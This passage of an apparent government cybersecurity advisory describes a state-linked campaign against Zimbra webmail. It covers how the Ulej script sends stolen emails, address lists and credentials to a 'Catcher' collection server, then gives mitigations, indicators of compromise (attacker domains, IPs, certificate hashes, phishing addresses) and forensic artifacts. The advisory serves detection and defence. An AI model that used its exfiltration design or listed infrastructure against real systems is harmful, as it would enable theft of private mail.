<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
